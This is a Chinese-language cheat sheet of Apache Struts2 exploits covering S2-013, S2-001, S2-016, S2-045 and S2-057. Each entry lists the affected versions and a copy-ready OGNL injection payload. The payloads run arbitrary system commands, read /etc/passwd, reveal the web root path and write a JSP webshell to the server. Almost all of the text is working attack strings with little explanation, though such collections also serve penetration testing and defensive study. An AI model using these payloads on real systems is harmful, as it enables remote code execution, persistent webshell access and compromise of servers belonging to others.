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Struts漏洞合集
Struts-S2-013漏洞利用
受影响版本
Struts 2.0.0 – Struts 2.3.14.1
漏洞利用
任意命令执行POC:
${(#_memberAccess[“allowStaticMethodAccess”]=true,#a=@java.lang.Runtime@getRuntime().exec(‘id’).getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#out=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#out.println(#d),#out.close())}
或着
${#_memberAccess[“allowStaticMethodAccess”]=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(‘id’).getInputStream())}
如:
http://your-ip:8080/link.action?a=${#_memberAccess["allowStaticMethodAccess"]=true,#a=@java.lang.Runtime@getRuntime().exec(‘id’).getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#out=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#out.println(‘dbapp=’+new java.lang.String(#d)),#out.close()}
Struts-S2-001漏洞利用
影响版本
Struts2.0.0 – Struts2.3.15
漏洞利用
获取tomcat执行路径:
%{“tomcatBinDir{“ @java.lang.System@getProperty(“user.dir”) ”}”}
获取Web路径:
%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get(“com.opensymphony.xwork2.dispatcher.HttpServletResponse”).getWriter(),#response.println(#req.getRealPath(‘/’)),#response.flush(),#response.close()}
执行任意命令(命令加参数:new java.lang.String[]{“cat”,”/etc/passwd”}):
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{“pwd”})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get(“com.opensymphony.xwork2.dispatcher.HttpServletResponse”),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
Struts-S2-016漏洞利用
影响版本
2.0.0 – 2.3.15
执行命令
redirect:${#context[“xwork.MethodAccessor.denyMethodExecution”]=false,#f=#_memberAccess.getClass().getDeclaredField(“allowStaticMethodAccess”),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=@java.lang.Runtime@getRuntime().exec(“uname -a”).getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[5000],#c.read(#d),#genxor=#context.get(“com.opensymphony.xwork2.dispatcher.HttpServletResponse”).getWriter(),#genxor.println(#d),#genxor.flush(),#genxor.close()}
获取Web目录
redirect:${#req=#context.get(‘co’ ’m.open’ ’symphony.xwo’ ’rk2.disp’ ’atcher.HttpSer’ ’vletReq’ ’uest’),#resp=#context.get(‘co’ ’m.open’ ’symphony.xwo’ ’rk2.disp’ ’atcher.HttpSer’ ’vletRes’ ’ponse’),#resp.setCharacterEncoding(‘UTF-8’),#ot=#resp.getWriter (),#ot.print(‘web’),#ot.print(‘path:’),#ot.print(#req.getSession().getServletContext().getRealPath(‘/’)),#ot.flush(),#ot.close()}
写入Webshell
redirect:${#context[“xwork.MethodAccessor.denyMethodExecution”]=false,#f=#_memberAccess.getClass().getDeclaredField(“allowStaticMethodAccess”),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=#context.get(“com.opensymphony.xwork2.dispatcher.HttpServletRequest”),#b=new java.io.FileOutputStream(new java.lang.StringBuilder(#a.getRealPath(“/”)).append(@java.io.File@separator).append(“1.jspx”).toString()),#b.write(#a.getParameter(“t”).getBytes()),#b.close(),#genxor=#context.get(“com.opensymphony.xwork2.dispatcher.HttpServletResponse”).getWriter(),#genxor.println(“BINGO”),#genxor.flush(),#genxor.close()}
Struts-S2-045漏洞利用
影响版本
Struts 2.3.5 – Struts 2.3.31 Struts 2.5 – Struts 2.5.10
POC
%{#context[‘com.opensymphony.xwork2.dispatcher.HttpServletResponse’].addHeader(‘vulhub’,233*233)}.multipart/form-data
EXP
%{(#nike=’multipart/form-data’).(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=’ls’).(#iswin=(@java.lang.System@getProperty(‘os.name’).toLowerCase().contains(‘win’))).(#cmds=(#iswin?{‘cmd.exe’,’/c’,#cmd}:{‘/bin/bash’,’-c’,#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
Struts-S2-057漏洞利用
受影响版本
Struts 2.3 – 2.3.34
Struts 2.5 – 2.5.16
POC
${233*233}
命令执行
${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request[‘struts.valueStack’].context).(#cr=#ct[‘com.opensymphony.xwork2.ActionContext.container’]).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec(‘id’)).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}
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